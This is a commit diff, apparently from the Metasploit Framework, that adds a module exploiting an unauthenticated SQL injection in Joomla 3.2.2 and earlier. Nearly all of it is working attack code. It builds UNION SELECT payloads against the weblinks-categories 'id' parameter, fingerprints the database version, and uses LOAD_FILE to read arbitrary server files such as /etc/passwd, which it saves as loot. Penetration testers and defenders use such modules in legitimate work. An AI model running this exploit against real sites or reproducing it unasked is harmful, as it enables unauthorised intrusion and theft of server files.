Land rapid7#3094 - Joomla weblinks-categories Unauth SQLI Arbitrary File Read

Author: wchen-r7

modules/auxiliary/gather/joomla_weblinks_sqli.rb

@@ -0,0 +1,127 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+
+require 'msf/core'
+
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Joomla weblinks-categories Unauthenticated SQL Injection Arbitrary File Read',
+      'Description'    => %q{
+      Joomla versions 3.2.2 and below are vulnerable to an unauthenticated SQL injection
+      which allows an attacker to access the database or read arbitrary files as the
+      'mysql' user. This module will only work if the mysql user Joomla is using
+      to access the database has the LOAD_FILE permission.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Brandon Perry <bperry.volatile[at]gmail.com>', #metasploit module
+        ],
+      'References'     =>
+        [
+          ['EDB', '31459'],
+          ['URL', 'http://developer.joomla.org/security/578-20140301-core-sql-injection.html']
+        ],
+      'DisclosureDate' => 'Mar 2 2014'
+    ))
+
+    register_options(
+      [
+        OptString.new('TARGETURI', [ true, "Base Joomla directory path", '/']),
+        OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"]),
+        OptInt.new('CATEGORYID', [true, "The category ID to use in the SQL injection", 0])
+      ], self.class)
+
+  end
+
+  def check
+
+    front_marker = Rex::Text.rand_text_alpha(6)
+    back_marker = Rex::Text.rand_text_alpha(6)
+
+    payload = datastore['CATEGORYID'].to_s
+    payload << ") UNION ALL SELECT CONCAT(0x#{front_marker.unpack('H*')[0]},"
+    payload << "IFNULL(CAST(VERSION() "
+    payload << "AS CHAR),0x20),0x#{back_marker.unpack('H*')[0]})#"
+
+    resp = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'index.php', 'weblinks-categories'),
+      'vars_get' => {
+        'id' => payload
+      }
+    })
+
+    if !resp or !resp.body
+      return Exploit::CheckCode::Safe
+    end
+
+    if resp.body =~ /404<\/span> Category not found/
+      return Exploit::CheckCode::Unknown
+    end
+
+    version = /#{front_marker}(.*)#{back_marker}/.match(resp.body)
+
+    if !version
+      return Exploit::CheckCode::Safe
+    end
+
+    version = version[1].gsub(front_marker, '').gsub(back_marker, '')
+    print_good("Fingerprinted: #{version}")
+    return Exploit::CheckCode::Vulnerable
+  end
+
+  def run
+    front_marker = Rex::Text.rand_text_alpha(6)
+    back_marker = Rex::Text.rand_text_alpha(6)
+    file = datastore['FILEPATH'].unpack("H*")[0]
+    catid = datastore['CATEGORYID']
+
+    payload = catid.to_s 
+    payload << ") UNION ALL SELECT CONCAT(0x#{front_marker.unpack('H*')[0]}"
+    payload << ",IFNULL(CAST(HEX(LOAD_FILE("
+    payload << "0x#{file})) AS CHAR),0x20),0x#{back_marker.unpack('H*')[0]})#"
+
+    resp = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'index.php', 'weblinks-categories'),
+      'vars_get' => {
+        'id' => payload
+      }
+    })
+
+    if !resp or !resp.body
+      fail_with("Server did not respond in an expected way. Verify the IP address.")
+    end
+
+    if resp.body =~ /404<\/span> Category not found/
+      fail_with("The category ID was invalid. Please try again with a valid category ID")
+    end
+
+    file = /#{front_marker}(.*)#{back_marker}/.match(resp.body)
+
+    if !file
+      fail_with("Either the file didn't exist or the server has been patched.")
+    end
+
+    file = file[1].gsub(front_marker, '').gsub(back_marker, '')
+    file = [file].pack("H*")
+
+    if file == '' or file == "\x00"
+      fail_with("Either the file didn't exist or the database user does not have LOAD_FILE permissions")
+    end
+
+    path = store_loot("joomla.file", "text/plain", datastore['RHOST'], file, datastore['FILEPATH'])
+
+    if path and path != ''
+      print_good("File saved to: #{path}")
+    end
+  end
+end
+